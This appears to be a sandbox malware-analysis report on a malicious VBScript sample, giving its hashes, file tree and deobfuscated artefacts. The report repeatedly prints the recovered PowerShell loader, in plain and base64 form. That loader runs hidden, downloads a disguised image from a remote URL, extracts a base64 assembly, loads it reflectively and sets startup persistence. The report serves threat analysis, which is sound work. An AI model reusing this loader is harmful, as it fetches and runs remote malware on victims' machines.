Malicious
Malicious

81b19e2c8ea96ad174470d0cad5413c1

VBScript
|
MD5: 81b19e2c8ea96ad174470d0cad5413c1
|
Size: 1.03 MB
|
text/vbscript

Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
81b19e2c8ea96ad174470d0cad5413c1
Sha1
2480528f7795c7912c20ed630e9964ca0e2bd0fc
Sha256
e31eb79d46005feb7fbf905c3230f20514fca537fa7ba4cc241d40a944ebc094
Sha384
24738ffe87d124ea232c6bd03b13943faef9344bcd99ba311a94e7d36ce6793ce92ae10aec41776b05202c861b94c04d
Sha512
8aa33b0beefc422d6faca74cbeac61ca3f38238e0e706ddfcc598d1c9de361bfa2697322e4e31eb02dfbabd1049816bf427b50316ab9a861c760d479d2945fca
SSDeep
12288:O6UuaXe8xZ7uF86UuaXe8xZ7uFqIz6UuaXe8xZ7uFw:ZUZLoDUZLoyUZLow
TLSH
CE25D1CAB98D3504AC5D31F538345E61EADC83C0A341EBB2EE35C66371C646CAE6B791
File Structure
81b19e2c8ea96ad174470d0cad5413c1
Malicious
81b19e2c8ea96ad174470d0cad5413c1.deobfuscated.vbs
Malicious
[Command #0]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
Malicious
[Deobfuscated PS]
Malicious
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
Artefacts
Name
 Value
URLs in VB Code - #1

http://www.ostrosoft.com/smtp.html
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgxNC9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPT1BYWhWSGNxbFhleThTYnZObUxzSlhkNTVXYTA5eUw2TUhjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"
Deobfuscated PowerShell

Invoke-Expression
Deobfuscated PowerShell

Invoke-Expression
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250814/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "==AahVHcqlXey8SbvNmLsJXd55Wa09yL6MHc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "", "Name_File", "RegAsm", "", "RegAsm", "", "", "", "Name_File", "vbs", "1", "", "", "0", "startup_onstart") } ))
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250814/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "==AahVHcqlXey8SbvNmLsJXd55Wa09yL6MHc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "", "Name_File", "RegAsm", "", "RegAsm", "", "", "", "Name_File", "vbs", "1", "", "", "0", "startup_onstart") } ))
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgxNC9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPT1BYWhWSGNxbFhleThTYnZObUxzSlhkNTVXYTA5eUw2TUhjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"
Deobfuscated PowerShell

Invoke-Expression
81b19e2c8ea96ad174470d0cad5413c1 (1.03 MB)
File Structure
81b19e2c8ea96ad174470d0cad5413c1
Malicious
81b19e2c8ea96ad174470d0cad5413c1.deobfuscated.vbs
Malicious
[Command #0]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
Malicious
[Deobfuscated PS]
Malicious
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
Characteristics
No malware configuration were found at this point.
Artefacts
Name
 Value Location
URLs in VB Code - #1

http://www.ostrosoft.com/smtp.html

81b19e2c8ea96ad174470d0cad5413c1
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgxNC9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPT1BYWhWSGNxbFhleThTYnZObUxzSlhkNTVXYTA5eUw2TUhjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"

Malicious

81b19e2c8ea96ad174470d0cad5413c1 > 81b19e2c8ea96ad174470d0cad5413c1.deobfuscated.vbs > [Command #0]

Deobfuscated PowerShell

Invoke-Expression

Malicious

81b19e2c8ea96ad174470d0cad5413c1 > 81b19e2c8ea96ad174470d0cad5413c1.deobfuscated.vbs > [Command #0] > [PowerShell Command]
Deobfuscated PowerShell

Invoke-Expression

Malicious

81b19e2c8ea96ad174470d0cad5413c1 > 81b19e2c8ea96ad174470d0cad5413c1.deobfuscated.vbs > [Command #0] > [PowerShell Command] > [Deobfuscated PS]
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250814/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "==AahVHcqlXey8SbvNmLsJXd55Wa09yL6MHc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "", "Name_File", "RegAsm", "", "RegAsm", "", "", "", "Name_File", "vbs", "1", "", "", "0", "startup_onstart") } ))

Malicious

81b19e2c8ea96ad174470d0cad5413c1 > 81b19e2c8ea96ad174470d0cad5413c1.deobfuscated.vbs > [Command #0] > [Base64-Block]
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250814/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "==AahVHcqlXey8SbvNmLsJXd55Wa09yL6MHc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "", "Name_File", "RegAsm", "", "RegAsm", "", "", "", "Name_File", "vbs", "1", "", "", "0", "startup_onstart") } ))

Malicious

81b19e2c8ea96ad174470d0cad5413c1 > 81b19e2c8ea96ad174470d0cad5413c1.deobfuscated.vbs > [Command #0] > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgxNC9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPT1BYWhWSGNxbFhleThTYnZObUxzSlhkNTVXYTA5eUw2TUhjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"

Malicious

81b19e2c8ea96ad174470d0cad5413c1 > 81b19e2c8ea96ad174470d0cad5413c1.deobfuscated.vbs > [Command #0] > [Deobfuscated PS]
Deobfuscated PowerShell

Invoke-Expression

Malicious

81b19e2c8ea96ad174470d0cad5413c1 > 81b19e2c8ea96ad174470d0cad5413c1.deobfuscated.vbs > [Command #0] > [Deobfuscated PS] > [PowerShell Command]
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